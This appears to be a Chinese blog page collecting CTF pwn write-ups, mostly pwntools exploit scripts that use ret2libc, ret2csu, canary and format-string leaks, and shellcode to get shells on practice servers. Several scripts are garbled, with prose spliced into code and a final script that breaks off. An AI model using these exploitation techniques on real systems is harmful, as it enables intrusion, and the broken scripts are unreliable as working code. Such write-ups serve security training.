buuctf-pwn

本文最后更新于:6 个月前

64位

ciscn_2019_s_3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
from pwn import *
p =remote('node4.buuoj.cn',27440)
elf = ELF('./ciscn_s_3')
context.log_level = 'debug'
main_addr = elf.symbols['main']
csu_end = 0x040059A
csu_front = 0x0400580
ret_addr = 0x004003a9
rax_59_ret = 0x04004E2
syscall = 0x0400517
payload = b'/bin/sh\x00' + b'A'*0x8 + p64(main_addr)
p.sendline(payload)
p.recv(0x20)
stack_addr = u64(p.recv(8))
print('stack_addr-->' + hex(stack_addr))
binsh_addr = stack_addr - 0x138
rax_59 = binsh_addr + 0x10
pop_rdi = 0x04005a3
payload = b'/bin/sh\x00' + b'A'*0x8 + p64(rax_59_ret) + p64(csu_end)
payload += p64(0) + p64(1) + p64(rax_59) + p64(0) + p64(0) + p64(0)
payload += p64(csu_front)
payload += b'a'*0x38
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(syscall)
p.sendline(payload)
p.interactive()

'''
调用execve需要

$rax==59

$rdi==“/bin/sh”

$rsi==0

$rdx==0

syscall

def ret_csu(r12, r13, r14, r15, last):
payload = offset * 'a'
#构造栈溢出的padding
payload += p64(first_csu) + 'a' * 8
#gadgets1的地址
payload += p64(0) + p64(1)
#rbx=0, rbp=1
payload += p64(r12)
#call调用的地址
payload += p64(r13) + p64(r14) + p64(r15)
#三个参数的寄存器
payload += p64(second_csu)
#gadgets2的地址
payload += 'a' * 56
#pop出的padding
payload += p64(last)
#函数最后的返回地址
return payload

ret2csu

ciscn_2019_en_2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
from LibcSearcher import *
context(os='linux', arch='amd64', log_level='debug')
ret = 0x4006b9 #靶机是ubuntu,所以需要栈平衡
elf = ELF('pwn1')
puts_plt = elf.plt["puts"]
puts_got = elf.got['puts']
main_addr = elf.symbols["main"]
pop_rdi_ret = 0x400c83 #×64程序基本都存在的一个地址pop rdi;ret
p = remote('node4.buuoj.cn',25016)
payload = b'a' * (0x50 + 8)
payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
print(payload)
p.sendlineafter('Input your choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted\n', payload)
p.recvuntil('Ciphertext\n')
p.recvline()
puts_addr = u64(p.recv(7)[:-1].ljust(8,b'\x00'))
print(puts_addr) #找出puts的地址
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts') #找出函数地址偏移量
system_addr = libc_base + libc.dump('system') #计算出system的在程序中的地址
binsh_addr = libc_base + libc.dump('str_bin_sh')
payload = b'a' * (0x50 + 8)
payload = payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr)
p.sendlineafter('Input your choice!\n', '1')
p.sendlineafter('Input your Plaintext to be encrypted\n', payload)
p.interactive()

bjdctf_2020_babyrop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import*
from LibcSearcher import *
context.log_level='debug'
r=remote('node4.buuoj.cn',28646)
elf=ELF('./pwn6')
main_addr=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']
pop_ret=0x400733
payload1=b'a'*0x28+p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr)

这里需要注意一下payload64位先往寄存器中传参顺序要注意!!!
r.recvuntil("Pull up your sword and tell me u story!")
r.sendline(payload1)
r.recv()
puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
libc=LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base+libc.dump('system')
bins = libc_base+libc.dump('str_bin_sh')
payload2=b'A'*0x28+p64(pop_ret)+p64(bins)+p64(system)
r.recvuntil("Pull up your sword and tell me u story!")
r.sendline(payload2)
r.interactive()

[HarekazeCTF2019]baby_rop2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *

#start
r = remote('node4.buuoj.cn',25683)
r = process("../buu/[HarekazeCTF2019]baby_rop2")
elf = ELF('babyrop2')
libc = ELF("libc.so.6")

#params
rdi_addr = 0x400733
rsi_r15_addr = 0x400731
main_addr = elf.symbols['main']
printf_plt=elf.plt['printf']
read_got=elf.got['read']
format_str = 0x400770

#attack
payload=b'M'*(0x20+8) + p64(rdi_addr) + p64(format_str) + p64(rsi_r15_addr) + p64(read_got) + p64(0) + p64(printf_plt) + p64(main_addr)
r.recv()
r.sendline(payload)
read_addr = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print("read_addr: " + hex(read_addr))

#libc
base_addr = read_addr - libc.symbols['read']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))
print("system_addr: " + (hex(system_addr)))
print("bin_sh_addr: " + (hex(bin_sh_addr)))

#attack2
payload=b'M'*(0x20+8) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
r.recv()
r.sendline(payload)

r.interactive()

[2021 鹤城杯]littleof

checksec一下

发现有canary保护

ida查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 sub_4006E2()
{
char buf[8]; // [rsp+10h] [rbp-50h] BYREF
FILE *v2; // [rsp+18h] [rbp-48h]
unsigned __int64 v3; // [rsp+58h] [rbp-8h]

v3 = __readfsqword(0x28u);
v2 = stdin;
puts("Do you know how to do buffer overflow?");
read(0, buf, 0x100uLL);
printf("%s. Try harder!", buf);
read(0, buf, 0x100uLL);
puts("I hope you win");
return __readfsqword(0x28u) ^ v3;
}

很显然栈溢出漏洞位于read函数中,buf大小为0x50,而read函数的第三参数,也就是输出/写入/输出的最大的字节长度为0x100,就是2个buf大小的数据。但是本题开启了Canary,因此我们不能直接进行栈溢出以及Ret2Libc攻击。我们可以发现,我们输入的Payload会被第二段的printf打印出来。也就是说可以利用这个printf打印出来Canary,将Canary原封不动的归位,即可跳过检测。

canary

Canary是位于EBP之前的一串随机数据,用来防止栈上的内容溢出进行某些危险攻击的。我们都知道Canary 会在栈上添加一个随机值,以保护程序免受缓冲区溢出攻击,但是也会在栈上多占用一些空间。

也就是说:

假如我的 buf 大小为 0x50

如果是 64 位程序,那么 Canary 就会在栈上额外占用 0x08 的空间作为随机值。

也就是说 我的可用空间只有 0x42 。

开启 Canary : RBP 位于 0x50 + 0x08,Canary位于0x50 - 0x08,Return Address位于0x50 + 0x16

而 0x50 + 0x08 在不开启 Canary 的情况下是 Return Address 的地址

关闭 Canary : RBP 位于 0x50,Return Address位于0x50 + 0x08

这时候的 0x50 + 0x08 是 Return Address 的地址。

具体思路如下:

因为Canary是栈中的一个随机值,我们通过printf泄露Canary,然后将其填充至它本来应该在的位置,就能通过检查。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
from LibcSearcher import *

#io = process("littleof")
io = remote()
elf = ELF("littleof")
context(log_level = 'debug',arch = 'amd64',os = 'linux')

rdi = 0x400863
ret = 0x40059E
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main = 0x400789

Padding = b'A' * ( 0x50 - 0x08 )
Padding_Ret = b'A' * 0x08

io.recvuntil(b'overflow?')
Payload_Canary = Padding
io.sendline(Payload_Canary)
io.recvuntil(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n')
Canary = u64(io.recv(7).rjust(8, b'\x00'))
log.success("Canary: " + (hex(Canary)))
发送了0x49个字节,总共0x50个字节,程序会把Canary放在变量起始位置,所以只需要接收7个,然后用一个0填充即可。
Payload_Leak = Padding + p64(Canary) + Padding_Ret + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendlineafter(b'Try harder!',Payload_Leak)
addr = u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00'))
log.success("Real Address: " + (hex(addr)))

# Local
#ibc = LibcSearcher('puts',addr)
#base = addr - libc.dump('puts')
#system = base + libc.dump('system')
#binsh = base + libc.dump('str_bin_sh')

# Remote
base = addr - 0x080aa0
system = base + 0x04f550
binsh = base + 0x1b3e1a

io.recvuntil(b'overflow?')
Payload_Canary = Padding
io.sendline(Payload_Canary)
io.recvuntil(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n')
Canary = u64(io.recv(7).rjust(8, b'\x00'))
log.success("Canary: " + (hex(Canary)))

Payload_Shell = Padding + p64(Canary) + Padding_Ret + p64(ret) + p64(rdi) + p64(binsh) + p64(system)
io.sendlineafter(b'Try harder!',Payload_Shell)
io.interactive()

Padding就是上文泄露Canary的Payload

Canary就是Canary的数据

Padding_Ret 代表覆盖原先栈上的 RBP

Ret 用来平衡栈帧

Rdi 用来存放 system 的第一个函数,也就是 /bin/sh 字符串的地址的。

jarvisoj_level3_x64

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
from LibcSearcher import *
elf=ELF("./level3_x64")
p=remote('node4.buuoj.cn',28307)
write_plt=elf.plt['write']
write_got=elf.got['write']
main_addr=elf.symbols['main']
rdi=0x4006b3
rsi=0x4006b1
#泄露地址
payload=b'a'*(0x80+8)+p64(rdi)+p64(1)+p64(rsi)+p64(write_got)+b'deadbeef'+p64(write_plt)+p64(main_addr)
p.sendline(payload)
write_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc=LibcSearcher('write',write_addr)
##计算后门函数
libc_base=write_addr-libc.dump('write')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
##打印
print(hex(write_addr))
print(hex(libc_base))
print(hex(system))
print(hex(binsh))
##getshell
payload1=b'a'*(0x80+8)+p64(rdi)+p64(binsh)+p64(system)
p.sendline(payload1)
p.interactive()

[watevrCTF 2019]Voting Machine 1

1
2
3
4
5
6
7
8
from pwn import *
p=remote('1.14.71.254',28014)
back_door=0x400807
payload=b'a'*10+p64(back_door)
p.sendlineafter('Vote:',payload)
flag=p.recvall()
print(flag)
p.close()

[CISCN 2019东北]PWN2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
from LibcSearcher import*
context(log_level='debug',os='linux',arch='amd64')
p=remote('1.14.71.254',28109)
elf=ELF('./pwn6')
p.recvuntil(b'choice!')
p.sendline(b'1')

puts_got=elf.got['puts']
puts_plt=elf.plt['puts']

ret=0x00000000004006b9
pop_rdi=0x0000000000400c83
main=elf.symbols['main']
payload=b'\x00'
payload+=b'a'*0x57
payload+=p64(pop_rdi)
payload+=p64(puts_got)
payload+=p64(puts_plt)
payload+=p64(main)
p.recvuntil('be encrypted')
p.sendline(payload)
puts_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc=LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base+libc.dump('system')
bins = libc_base+libc.dump('str_bin_sh')

p.recvuntil(b'choice!')
p.sendline(str(1))
p.recvuntil('be encrypted')

payload=b'\x00'+b'a'*0x57+p64(ret)+p64(pop_rdi)+p64(bins)+p64(system)+p64(ret)

p.sendline(payload)
p.interactive()

[深育杯 2021]find_flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *  
elf = ELF("find_flag")
p = remote('1.14.71.254',28257)
p.recvuntil(b"name?")
p.sendline(b"aa%12$p %17$p")
p.recvuntil(b"aa")
addr,can = str(p.recv(33)).split()
print(addr,can)
can = int(can[0:-1],16)
elf_base = int(addr[2:],16)-0x215c
success("elf_base:"+hex(elf_base))
flag_addr = elf_base + 0x1228
success("canary:"+hex(can))
p.recvuntil(b"? ")
payload = b'a'*(0x40-8) + p64(can) + b'aaaaaaaa'+p64(flag_addr)
p.sendline(payload)
p.interactive()

[2021 鹤城杯]easyecho

https://blog.csdn.net/woodwhale/article/details/120680661

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import
context.log_level="debug"
#p=process('./easyecho')
p=remote('node4.anna.nssctf.cn',28947)
p.sendlineafter("Name:",b"b"*15+b"a")
p.recvuntil("a")
addr = u64(p.recv(6).ljust(8, b'\x00')) - 0xcf0
print("addr",addr)]()

flag_addr =addr + 0x202040
print("flag_addr",flag_addr)

payload = b'a'*0x168 + p64(flag_addr)
#dbg()
p.sendlineafter("Input:","backdoor")
pause()
p.sendlineafter('Input: ',payload)
p.sendlineafter('Input: ','exitexit')

p.interactive()、


[NISACTF 2022]ezpie

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
PIE保护机制只随机初始基地址,函数之间的偏移不会变
from pwn import *
p=remote('1.14.71.254',28123)
elf=ELF('pwn')
计算偏移量
main_addr=elf.symbols['main']
shell_addr=elf.symbols['shell']
offest=shell_addr-main_addr
log.info('offest is :%x'%offest)
根据泄露的main函数地址计算shell函数地址
p.recvuntil(b'gift!\n0x')
p_main_addr=int(p.recv(8).decode(),16)
p_shell_addr=p_main_addr+offest
获得shell
payload=flat('a'*40,'b'*4,p_shell_addr)
p.sendlineafter('Input:\n',payload)
p.interactive()

[GFCTF 2021]where_is_shell

1
2
3
4
5
6
7
8
9
10
from pwn import *
elf = ELF('./shell')
p = remote('1.14.71.254',28720)
ret_addr = 0x400416
pop_rdi_ret = 0x4005e3
tips = 0x400541#可以利用system($0)获得shell权限,$0在机器码中为 \x24\x3,发现 24 30,查看操作码
system_addr = elf.symbols['system']
payload = b'b'*0x10+b'b'*8+p64(ret_addr)+p64(pop_rdi_ret)+p64(tips)+p64(system_addr)
p.sendlineafter('find it?\n',payload)
p.interactive()

bjdctf_2020_babyrop2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# -*- coding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context.log_level='debug'

r=remote('node4.buuoj.cn',26813)
#r=process('./bjdctf_2020_babyrop2')
elf=ELF('./bjdctf_2020_babyrop2')
pop_rdi=0x0000000000400993
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
vuln_addr=elf.symbols['vuln']

#泄露canary
r.recvuntil("I'll give u some gift to help u!")
r.sendline(b'%7$p')
r.recvuntil(b'0x')
canary=int(r.recv(16),16)
print('[+]canary: ',hex(canary))

payload=b'a'*(0x20-0x8)+p64(canary)+b'b'*0x8
payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr)
r.recvuntil('Pull up your sword and tell me u story!')
r.sendline(payload)
r.recv()

puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
libc=LibcSearcher('puts',puts_addr)
libc_base=puts_addr-libc.dump('puts')
system_addr=libc_base+libc.dump('system')
bin_addr=libc_base+libc.dump('str_bin_sh')

r.recvuntil('Pull up your sword and tell me u story!')
payload=b'a'*(0x20-0x8)+p64(canary)+b'b'*0x8
payload+=p64(pop_rdi)+p64(bin_addr)+p64(system_addr)
r.sendline(payload)

r.interactive()

pwnable_orw

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
沙盒
from pwn import *

#start
r = remote('node4.buuoj.cn',27085)
context.log_level = 'debug'

#attack
shellcode = shellcraft.open('flag')
shellcode += shellcraft.read('eax','esp',42)
shellcode += shellcraft.write(1,'esp',42)
payload = asm(shellcode)
r.sendlineafter("shellcode:",payload)
#print(r.recv())
r.interactive()
'''
打开flag文件,sys_open(file,0,0);系统调用号为5
push 0x0 #字符串结尾
push 0x67616c66 #'flags'
mov ebx,esp
xor ecx,ecx #0
xor edx,edx #0
mov eax,0x5 #调用号
int 0x80 #sys_open(flags,0,0)


读flag文件,sys_read(3,file,0x100);系统调用号为3
mov eax,0x3;
mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag”
mov ebx,0x3; # 文件描述符 fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件
mov edx,0x100; #对应字节数
int 0x80;



输出flag文件内容,sys_write(1,file,0x30);系统调用号为4
mov eax,0x4; # eax = sys_write
mov ebx,0x1; # ebx = unsigned int fd = 1
int 0x80;


'''

32位

get_started_3dsctf_2016

checksec

1
2
3
4
5
Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4[56]; // [esp+4h] [ebp-38h] BYREF

printf("Qual a palavrinha magica? ", v4[0]);
gets(v4);
return 0;
}




void __cdecl get_flag(int a1, int a2)
{
int v2; // esi
unsigned __int8 v3; // al
int v4; // ecx
unsigned __int8 v5; // al

if ( a1 == 0x308CD64F && a2 == 425138641 )
{
v2 = fopen("flag.txt", "rt");
v3 = getc(v2);
if ( v3 != 255 )
{
v4 = (char)v3;
do
{
putchar(v4);
v5 = getc(v2);
v4 = (char)v5;
}
while ( v5 != 255 );
}
fclose(v2);
}
}

get_flag()有两个参数,a1和a2。这里我已经将a1和a2转换成了十六进制。if对a1和a2进行了一个判断,符合条件后进行对flag的读取。具体读取过程为:首先v2对flag.txt文件进行一个读取,v3用getc()来接收v2读取的值(getc():从指定的流stream获取下一个字符(一个无符号字符),并把位置标识符往前移动)。在v3不为255时,将值传给v4,用中间变量v5来读取v2的值,并且在v5不为255时,将v5的值赋给v4并输出v4,最终输出的结果就是flag

但是我们发现通过main()的stackoverflow单纯的跳到get_flag()这个函数是无法拿到flag的,这里是因为我们在stackoverflow时覆盖了a1和a2,破坏了输出flag的条件,从而无法得到flag。我们试想,如果我们在stackoverflow时保护了栈结构,使程序达到输出flag的条件,正常退出,是否就可以拿到flag?

于是我们需要exit()的地址,以及满足条件的a1和a2的值,即0x308CD64F0x195719D1

exp

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(os = "linux" , arch = "i386" , log_level = "debug")
elf = ELF('./pwn1')
io = remote('node4.buuoj.cn',27026)
ret = 0x08048196
exits = elf.sym['exit']
success("got exit addr : %s" % hex(exits))
payload = b"a" * 0x38 + p32(0x080489A0) + p32(exits) + p32(0x308CD64F)+ p32(0x195719D1)
io.recvuntil("Qual a palavrinha magica? " , timeout = 0.5)
io.sendline(payload)
io.recvline()
io.interactive()

[OGeek2019]babyrop

先checksec一下,nx排除了shellcode的可能,Full RELEO为地址随机化

先观察主函数,设定了一个闹钟(但是这道题不需要使用解除闹钟的方法)

主函数的思路是生成一个随机数,把这个随机数作为参数传进sub——804871F()函数中,然后再将函数返回结果作为参数传进sub——80487D0()里,sub_80486bb()是初始化,没什么用。fd=open(“/dev/urandom”,0);if(fd>0) read(fd,&buf,4u):获取一个随机数给到buf

sub_804871f()

sprintf函数将生成的随机数加到s[32]的数组中,这里题目有read函数,但是没有栈溢出的可能,读入buf之后,读取buf的长度,然后比较buf和s字符串的大小(比较长度为前v1个字符)。此时如果strncmp()的结果不为0,则直接退出程序。因此我们第一个目的:使strncmp结果为0

sub_80487d0()

这个函数将buf[7]作为参数出传进来,将它的ASCII码比对,看到全程序中唯一一个存在栈溢出漏洞可能性的地方。但是必须满足a1的ASCII码值能达到栈溢出的大小。第二个目的:使a1的ASCII码值(sub_804871F()函数里的buf[7]的ASCII码值尽量大)

思路

使用ROP链寻找libc解题

首先让strncmp结果为零,当buf与s数组完全相同时,strncmp结果会为0,但是s为系统生成的随机数,而buf是我们输入的数据,两者显然不可能相等。另一种办法就是使v1等于0,这样strncmp的结果仍为0。而v1是strlen函数读取buf的长度大小,使他为0就很简单了,标准的长度检测绕过,让buf数组的第一位为‘\x00’即可。此时程序不会退出

然后让buf[7]的值尽可能大,要实现栈溢出,buf[7]元素的ASCII码值必须大于两百四十多才行,所以要使用转义字符的ASCii码,’'为转义字符,而’\xhh‘表示ASCII码值与’hh’这个十六进制数相等的符号,例如’\xff’表示ASCII码为255的符号。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
io = process("./pwn")
io = remote('node4.buuoj.cn',25352)
elf = ELF("./pwn")
libc = ELF("libc-2.23.so")
context(log_level="debug",arch="i386")
write_plt = elf.plt["write"]'''选择用write函数泄露libc地址'''
read_got = elf.got["read"]
main_func = 0x08048825
payload1 = b"\x00"长度检测绕过+ b"\xff"*7让buf[7]的值尽可能大,\为转义字符,而’\xhh‘表示ASCII码值与’hh’这个十六进制数相等的符号,例如’\xff’表示ASCII码为255的符号。
io.sendline(payload1)
io.recvline()
payload2 = flat([b"a"*0xE7,b"b"*4,write_plt,main_func,1,read_got,0x8])
io.sendline(payload2)
read_addr = u32(io.recv(4))
print(read_addr)
libcbase = read_addr - libc.symbols["read"]
#print libcbase
system_addr = libcbase + libc.symbols["system"]
binsh = libcbase + next(libc.search(b"/bin/sh"))
print(binsh)
payload3 = flat([b"a"*0xe7,b"b"*4,system_addr,0,binsh])
io.sendline(payload1)
io.recvline()
io.sendline(payload3)
io.interactive()

not_the_same_3dsctf_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
elf = ELF("./not_the_same_3dsctf_2016")
io = remote("node4.buuoj.cn",28787)
io = process("./not_the_same_3dsctf_2016")
backdoor_addr = 0x080489A0
str_flag_addr = 0x080ECA2D
printf_addr = 0x0804F0A0
write_addr = elf.symbols['write']
exit_addr = elf.symbols['exit']
print(hex(write_addr))
这个main函数没有push ebp 所以不用再覆盖4字节的ebp
payload = 0x2D * b'a' + p32(backdoor_addr) + p32(write_addr) + p32(exit_addr) + p32(1) + p32(str_flag_addr) + p32(45)#覆盖了栈,没有覆盖ebp,原因是不存在ebp,字符串空间的底部就是函数的返回地址覆盖返回地址,返回到get_secret函数从get_secret函数返回到write函数#exit位置是write的返回的值,没什么用,随便填
payload += p32(1) # write函数的第一个参数,是 文件描述符;
payload += p32(flagaddr) # write函数的第二个参数,是 存放字符串的内存地址;
payload += p32(42) # write函数的第三个参数,是 打印字符串的长度
io.sendline(payload)
io.interactive()
io.close()

铁人三项(第五赛区)_2018_rop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#encoding = utf-8
from pwn import *
from LibcSearcher import *
context(os = 'linux',arch = 'i386',log_level = 'debug')
elf = ELF('./2018_rop')
p = remote('node4.buuoj.cn',25020)
main_addr = elf.sym['main']
plt_write_addr = elf.plt['write']
got_write_addr = elf.got['write']
payload = b'a'*(0x88+0x4) + p32(plt_write_addr) + p32(main_addr) + p32(1) + p32(got_write_addr) + p32(4)
p.sendline(payload)
write_addr = u32(p.recv(4))
print(hex(write_addr))
lib = LibcSearcher('write',write_addr)
lib_write_addr = lib.dump('write')
lib_system_addr = lib.dump('system')
lib_bin_addr = lib.dump('str_bin_sh')
base_addr = write_addr - lib_write_addr
system_addr = base_addr + lib_system_addr
bin_addr = base_addr + lib_bin_addr
payload = b'a'*(0x88+0x4) + p32(system_addr) + b'aaaa' + p32(bin_addr)
p.sendline(payload)
p.interactive()

ciscn_2019_es_2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(os="linux",arch="i386",log_level="debug")
elf=ELF('pwn8')
p=remote('node4.buuoj.cn',29794)
sys_addr=0x08048400
leave_addr=0x8048562
payload1=b'a'*0x27
p.sendlineafter('name?\n',payload1)
p.recvuntil('\n')
ebp=u32(p.recv(4))
payload2=b'a'*4+p32(sys_addr)+p32(0)+p32(ebp-0x28)+b'/bin/sh'
payload2=payload2.ljust(0x28,b'\0')
payload2+=p32(ebp-0x38)看当时的ebp+p32(leave_addr)
p.sendline(payload2)
p.interactive()

pwn2_sctf_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
整数溢出问题
from pwn import*
from LibcSearcher import*
p=remote('node4.buuoj.cn',29476)
elf=ELF('./pwn9')
printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
vuln=0x0804852f
main=0x080485b8
p.recvuntil('read?')
p.sendline(str(-1))
p.recvuntil('data!\n')
payload=b'a'*0x30+p32(printf_plt)+p32(vuln)+p32(printf_got)
p.sendline(payload)
p.recvuntil('\n')
printf_add=u32(p.recv(4))
print(hex(printf_add))
libc=LibcSearcher('printf',printf_add)
libc_base=printf_add-libc.dump('printf')
system=libc_base+libc.dump('system')
binsh=libc_base+libc.dump('str_bin_sh')
p.recvuntil('read?')
p.sendline(str(-1))
p.recvuntil('data!\n')
payload=b'a'*0x30+p32(system)+p32(main)+p32(binsh)
p.sendline(payload)
p.interactive()

jarvisoj_level3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
32位ret2libc
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
conn = remote('node4.buuoj.cn',25837)
elf = ELF('./level3')
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = 0x0804844B
payload = b'a'*0x88 + b'b'*4 + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
conn.sendlineafter("Input:\n",payload)
write_addr = u32(conn.recv(4))
print(hex(write_addr))
libc = LibcSearcher('write',write_addr)
libc_base = write_addr - libc.dump('write')
system_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = b'a'*0x88 + b'b'*4 + p32(system_addr) + p32(main_addr) + p32(bin_sh)
conn.sendlineafter("Input:\n",payload)
conn.interactive()

jarvisoj_level4

学到一个新方法

当题目未提供libc.so的时候,可以使用DynELF寻找我们需要函数的地址,DynELF是通过它有的各种libc.so去爆破该ELF的libc.so。所以需要一个leak函数支持多次的write函数之类的功能,leak的参数addr 是我们需要用write写出数据的地址函数内写/接受 4字节8字节都行 返回不需要u32(data) 直接返回data。DynELF(leak,elf=elf) 第一个参数就是leak函数 第二个参数是你的程序elf,之后使用lookup(“function_name”,”libc”) function_name就是需要查询的函数真实地址 返回为int,还有一点就是 leak里面返回main有时候行不通 估计是堆栈的原因所以返回start 把所有东西全清空改题构造leak之后 找到system地址通过read 把”/bin/sh”读到data段 (一般是bss段,不过这里bss段太短了装不下,所以找可执行的data段)注意read的使用要严格控制字符数 也就是第三个参数最开始这里使用了io.sendline(“/bin/sh\x00”)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *

io=remote('node4.buuoj.cn',28208)
# io=process('./level4')
elf=ELF('./level4')

start_addr=0x08048350
write_plt=0x08048340
read_plt=0x08048310

def leak(addr):
payload=b'a'*(0x88+4)+p32(write_plt)+p32(start_addr)
payload+=p32(1)+p32(addr)+p32(8)
io.sendline(payload)
leaked=io.recv(8) # 8 or 4 try
# print("%#x -> %s" %(addr, (context or '').encode('hex')))
return leaked

d=DynELF(leak,elf=elf)

system_addr=d.lookup('system','libc')
print ("system_addr:"+hex(system_addr))
# read_addr=d.lookup('read','libc')
# print "read_addr:"+hex(read_addr)

data_addr=0x0804A01C
payload=b'a'*(0x88+4)+p32(read_plt)+p32(start_addr)
payload+=p32(0)+p32(data_addr)+p32(8)
io.sendline(payload)
io.send("/bin/sh\x00")
#io.sendline("/bin/sh\x00") wrong!!!

payload=b'a'*(0x88+4)+p32(system_addr)+p32(start_addr)
payload+=p32(data_addr)
io.sendline(payload)

io.interactive()

泄露还可以用LibcSearcher 只要得到一个函数的真实地址,就可以dump出libc地址然后类似于给出了libc一样计算base_addr 继而计算其他函数的真实地址两种方法都可能得到错误的libc.so ,这道题,我用LibcSearcher就打不通

ez_pz_hackover_2016

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
'''
调试脚本

from pwn import *
context(log_level = 'debug',os='linux',arch='i386')
p = process('./ez')
gdb.attach(p)
p.recvuntil('crash: ')
stack_addr = int(p.recv(10), 16)
payload = b'crashme\x00' + b'a'*18
payload += p32(0) + asm(shellcraft.sh())
p.recvuntil('> ')
p.sendline(payload)
pause()
p.interactive()
'''
1
2
3
4
5
6
7
8
9
10
11
12
13
#coding=utf-8
from pwn import *
context.log_level = 'debug'
p=remote('node4.buuoj.cn',25049)
shellcode = asm(shellcraft.sh())
p.recvuntil('lets crash: ')
stack_addr = int(p.recv(10),16)
shellcode_addr = stack_addr-28
payload = b'crashme\x00'.ljust(26,b"\x00")
payload += p32(shellcode_addr)+shellcode
p.recvuntil('>')
p.sendline(payload)
p.interactive()

picoctf_2018_rop chain

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *
context(os='linux',arch='i386',log_level='debug')
p=remote('node4.buuoj.cn',27550)
elf=ELF('./rop_chain')
flag_addr=elf.symbols['flag']
win1_addr=elf.symbols['win_function1']
win2_addr=elf.symbols['win_function2']
win2_a1=0xBAAAAAAD#-1163220307十六进制补码
flag_a1=0xDEADBAAD#-559039827十六进制补码
